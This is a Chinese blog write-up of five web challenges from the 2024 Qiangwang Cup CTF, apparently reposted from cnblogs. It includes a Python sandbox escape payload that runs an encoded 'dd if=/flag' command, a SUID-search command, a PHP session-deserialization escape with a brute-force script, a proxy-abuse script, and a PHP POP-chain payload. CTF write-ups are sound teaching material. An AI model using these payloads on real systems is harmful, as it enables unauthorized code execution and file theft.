首页 > 其他分享 >2024强网杯web题解

2024强网杯web题解

时间:2024-11-05 18:41:10浏览次数:4  
标签:username code return 题解 2024 强网杯 import public block

PyBlockly

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True
    
    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)
        
        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False

def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:  
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom: 
                print(f"ERROR: Banned module {node.module}")
                return False
    return True

def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False



def block_to_python(block):
    block_type = block['type']
    code = ''
    
    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  
        code = f"print({text})"
           
    elif block_type == 'math_number':
        
        if str(block['fields']['NUM']).isdigit():      
            code =  int(block['fields']['NUM']) 
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
        
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':
        
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =  f"max({a}, {b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}, {b})"

    if 'next' in block:
        
        block = block['next']['block']
        
        code +="\n" + block_to_python(block)+ "\n"
    else:
        return code 
    return code

def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]

    python_code = ""
    python_code += block_to_python(block) + "\n"

        
    return python_code

def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)
'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):  
            with open("run.py", 'w') as f:
                f.write(code)        
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)
        return do(python_code)
    except Exception as e:
        return jsonify({"error": "Error generating Python code", "details": str(e)})
    
if __name__ == '__main__':
    app.run(host = '0.0.0.0')
# ‘;__import__(”builtins”)。len=lambda a:2;’‘;__import__(”os”)。system(”$(); ”);’

有一个符号过滤一个钩子

image
image

用全角符号绕过钩子隔断一下即可
最后发现flag没有权限
可以进行suid提权

find / -perm -u=s -type f 2>/dev/null

直接dd if=/flag

‘;__import__(”builtins”)。len=lambda a:1;’‘;__import__(”os”)。system(”$(printf ‘\144\144\40\151\146\75\57\146\154\141\147’); ”);’

image

platform

index.php

<?php
session_start();
require 'user.php';
require 'class.php';

$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $_SESSION['user'] = $username;

    if (!isset($_SESSION['session_key'])) {
        $_SESSION['session_key'] =$SessionRandom -> generateRandomString();
    }
    $_SESSION['password'] = $password;
    $result = $sessionManager->filterSensitiveFunctions();
    header('Location: dashboard.php');
    exit();
} else {
    require 'login.php';
}
echo session_save_path();

class.php
<?php
class notouchitsclass {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __destruct() {
        eval($this->data);
    }
}

class SessionRandom {

    public function generateRandomString() {
    $length = rand(1, 50);

    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';

    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }

    return $randomString;
    }


}

class SessionManager {
    private $sessionPath;
    private $sessionId;
    private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];

    public function __construct() {
        if (session_status() == PHP_SESSION_NONE) {
            throw new Exception("Session has not been started. Please start a session before using this class.");
        }
        $this->sessionPath = session_save_path();
        $this->sessionId = session_id();
    }

    private function getSessionFilePath() {
        return $this->sessionPath . "/sess_" . $this->sessionId;
    }

    public function filterSensitiveFunctions() {
        $sessionFile = $this->getSessionFilePath();

        if (file_exists($sessionFile)) {
            $sessionData = file_get_contents($sessionFile);

            foreach ($this->sensitiveFunctions as $function) {
                if (strpos($sessionData, $function) !== false) {
                    $sessionData = str_replace($function, '', $sessionData);
                }
            }
            file_put_contents($sessionFile, $sessionData);

            return "Sensitive functions have been filtered from the session file.";
        } else {
            return "Session file not found.";
        }
    }
}


dashboard.php

<?php
include("class.php");
session_start();

if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>任何人都可以登录的平台</title>
    <style>
        body {
            background-color: #f0f4f8;
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            margin: 0;
            text-align: center;
        }
        h1 {
            color: #333;
            margin-bottom: 20px;
        }
        p {
            color: #555;
            font-size: 18px;
            margin: 0;
        }
        .session-info {
            background-color: #fff;
            border-radius: 10px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            width: 300px;
            margin-top: 20px;
        }
    </style>
</head>
<body>
    <h1>欢迎来到任何人都可以登录的平台</h1>
    <div class="session-info">
        <p>你好,<?php echo htmlspecialchars($_SESSION['user']); ?>!</p>
    </div>
</body>
</html>

image

image

是一个session反序列化
image
image

把一些特定的函数替换为空我们可以利用这一点进行反序列化逃逸

我们在本地尝试
image
image

我们eval会被替换为空然后吃掉红框之中的内容后面是我们伪造的我们需要的password
但是红框之中的内容长度是随机的我们可以写脚本爆破(当然也可以用bp爆破)

from time import sleep

import requests

session = requests.Session()
url1 = 'http://eci-2ze51q7dfugzvlb7vere.cloudeci1.ichunqiu.com/'
url2 = 'http://eci-2ze51q7dfugzvlb7vere.cloudeci1.ichunqiu.com/dashboard.php'

cookies = {
    'PHPSESSID': 'b6hemaadv990atohld4equu327'
}
data = {
    'username': 'evalevalevalevalevalevalevalevalevalevalevalevalevalevaleval',
    'password': ';password|O:15:"notouchitsclass":1:{s:4:"data";s:23:"echo `ls /;./readflag`;";};'
}
while True:
    res = session.post(url=url1, cookies=cookies, data=data)

    res2 = session.post(url=url2, cookies=cookies)

    if "root" in res2.text:
        print(res2.text)
        exit()

xiaohuanxiong

直接递归扫描

/index.php/admin/Authors/index

进入目录后直接改管理员账号密码即可
然后去后台登陆直接在支付页面写命令即可

image

Proxy

package main

import (
	"bytes"
	"io"
	"net/http"
	"os/exec"

	"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
	URL             string            `json:"url" binding:"required"`
	Method          string            `json:"method" binding:"required"`
	Body            string            `json:"body"`
	Headers         map[string]string `json:"headers"`
	FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
	r := gin.Default()

	v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			cmd := exec.Command("/readflag")
			flag, err := cmd.CombinedOutput()
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}
			c.JSON(http.StatusOK, gin.H{"flag": flag})
		})
	}

	v2 := r.Group("/v2")
	{
		v2.POST("/api/proxy", func(c *gin.Context) {
			var proxyRequest ProxyRequest
			if err := c.ShouldBindJSON(&proxyRequest); err != nil {
				c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
				return
			}

			client := &http.Client{
				CheckRedirect: func(req *http.Request, via []*http.Request) error {
					if !req.URL.IsAbs() {
						return http.ErrUseLastResponse
					}

					if !proxyRequest.FollowRedirects {
						return http.ErrUseLastResponse
					}

					return nil
				},
			}

			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			for key, value := range proxyRequest.Headers {
				req.Header.Set(key, value)
			}

			resp, err := client.Do(req)

			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			defer resp.Body.Close()

			body, err := io.ReadAll(resp.Body)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			c.Status(resp.StatusCode)
			for key, value := range resp.Header {
				c.Header(key, value[0])
			}

			c.Writer.Write(body)
			c.Abort()
		})
	}

	r.Run("127.0.0.1:8769")
}

就是一个简单的代理发包

import requests
import json

# 代理的URL
proxy_url = "http://59.110.156.237:36897/v2/api/proxy"

# v1的URL
v1_url = "http://59.110.156.237:36897/v1/api/flag"

# 构建请求数据
data = {
    "url": v1_url,
    "method": "POST",
    "body": "",
    "headers": {},
    "follow_redirects": False
}

# 发送请求
response = requests.post(proxy_url, data=json.dumps(data), headers={"Content-Type": "application/json"})

# 打印响应内容
if response.status_code == 200:
    print("成功获取 flag:")
    print(response.json())
else:
    print(f"获取 flag 失败. 状态码: {response.status_code}")
    print("响应内容:", response.text)

Password Game

一个php反序列化
image

只让玩三秒但是我们可以抓包
过了之后给我们源码

function filter($password) {
    $filter_arr = array("admin", "2024qwb");
    $filter = '/' . implode("|", $filter_arr) . '/i';
    return preg_replace($filter, "nonono", $password);
}

class guest {
    public $username;
    public $value;

    public function __toString() {
        if ($this->username == "guest") {
            $value();
        }
        return $this->username;
    }

    public function __call($key, $value) {
        if ($this->username == md5($GLOBALS["flag"])) {
            echo $GLOBALS["flag"];
        }
    }
}

class root {
    public $username;
    public $value;

    public function __get($key) {
        if (strpos($this->username, "admin") === 0 && $this->value == "2024qwb") {
            $this->value = $GLOBALS["flag"];
            echo md5("hello:" . $this->value);
        }
    }
}

class user {
    public $username;
    public $password;
    public $value;

    public function __invoke() {
        $this->username = md5($GLOBALS["flag"]);
        return $this->password->guess();
    }

    public function __destruct() {
        if (strpos($this->username, "admin") === 0) {
            echo "hello" . $this->username;
        }
    }
}

// 反序列化并过滤用户输入的密码
$user = unserialize(filter($_POST["password"]));

// 检查用户名和密码
if (strpos($user->username, "admin") === 0 && $user->password == "2024qwb") {
    echo "hello!";
}


构造pop链

<?php
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class root{
    public $username;
    public $ic;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
// if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
//     echo "hello!";
// }

$a = new root();
$a->username = "a";
$a->value = 2024;
$a->ic = new user();
$a->ic ->username = &$a->value;
$a->ic ->password = "dD943680";
echo serialize($a);

接着改一下pop链中的无关内容使其符合游戏条件即可

image

标签:username,code,return,题解,2024,强网杯,import,public,block
From: https://www.cnblogs.com/dghh/p/18523695

相关文章

  • 20222405 2024-2025-1 《网络与系统攻防技术》实验四实验报告
    1.实验内容(1)恶意代码文件类型标识、脱壳与字符串提取(2)使用IDAPro静态或动态分析crackme1.exe与crakeme2.exe,寻找特定输入,使其能够输出成功信息。(3)分析一个自制恶意代码样本rada,并撰写报告,回答问题(4)取证分析实践2.实验过程2.1恶意代码文件类型标识、脱壳与字符串提取(1)使用......
  • 2024newstarweb题解
    w1headach3会赢吗源码flag碎片X1:ZmxhZ3tXQTB3再次查看源码flag碎片X2:IV95NF9yM2Fs第三个页面也是直接查看源码直接改源码flag碎片X3:MXlfR3I0c1B下一个页面直接禁用jsflag碎片X4:fSkpKcyF9ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9base64解码即......
  • WPF程序弹出页中按钮在触摸屏(电容屏)上点击事件需要点十次才能触发的问题解决方法
    一、事件背景介绍1.功能简述:主页面是一个DataGrid列表,点击DataGrid行,弹出子页面;子页面根据数据加载多个Button按钮,如下图,就是这个页面中的按钮,在触摸屏上触摸点击,需要点击十次才能成功,使用鼠标点击一下就能成功。 主要代码如下://WPF前端<DataGridx:Name="scanDtl......
  • 20222306 2024-2025-1 《网络与系统攻防技术》实验四实验报告
    1.实验内容1.1基本概念1.1.1什么是恶意代码?恶意代码(MaliciousCode)是指在计算机系统或网络中,被设计用来对系统造成损害、窃取信息、干扰正常操作或执行其他恶意目的的软件或程序片段。1.1.2恶意代码分析技术分为静态分析和动态分析两种方式:静态分析主要是分析诸如特征码,关......
  • 活着就好20241105
    ......
  • P11236 「KTSC 2024 R1」水果游戏 题解
    很有意思的一道题。思路首先将相邻一样的数合并,每个元素变成一个二元组,表示数与出现次数。考虑什么时候不能合并。我们发现假如充分合并后,现在有连续的三个数\(x_1,x_2,x_3\),以及他们各自的出现次数\(y_1,y_2,y_3\)。如果\(x_1>x_2,x_3>x_2\)。我们想要合并这三个,必须要......
  • 2024最新Python安装教程+Pycharm安装教程【附安装包】
    Python安装1.首先下载好Python安装包获取方式:点击这里(扫描神秘②薇码免下载)完全免费!!!2.打开安装包,先勾选最下面两个选项,再选择第二个自定义安装3.这里默认全选,点击next4.这里勾选图中选项,然后在电脑选择一个位置存放Python(不建议安装到C盘),最后点击Install就可以了 P......
  • [DMY]2024 NOIP 模拟赛 Day 4
    不会暴搜不会差分约束不会三维DP不会根号分治不会卡常……赛时电脑没网,换了一台。T1看不懂题面,还以为是\(n-x\),然后有人给我说根据题目名称可以推断是\(n\%x\)。……[从现在开始到T2,我写完了,但是被人用手势删了,没保存,不想重新写了,所以就这样了]……T2赛后发现差分约束......
  • 利用射线检测实现光束照射激活功能——2024TapTap聚光灯GameJam(一)
    利用射线检测实现光束照射激活功能——2024TapTap聚光灯GameJam记录日期 2024-11-05                          记录时间 13:35项目完成 2024-10-28                         历经时长 21 天简介项目主题:Light项目......
  • 2024年云手机推荐榜单:高性能云手机推荐
    无论是手游玩家、APP测试人员,还是数字营销工作者,云手机都为他们带来了极大的便利。本文将为大家推荐几款在市场上表现优异的云手机,希望这篇推荐指南可以帮助大家找到最适合自己的云手机!1.OgPhone云手机OgPhone云手机是一款备受海外推广与矩阵运营使用者好评的神器,它在海外......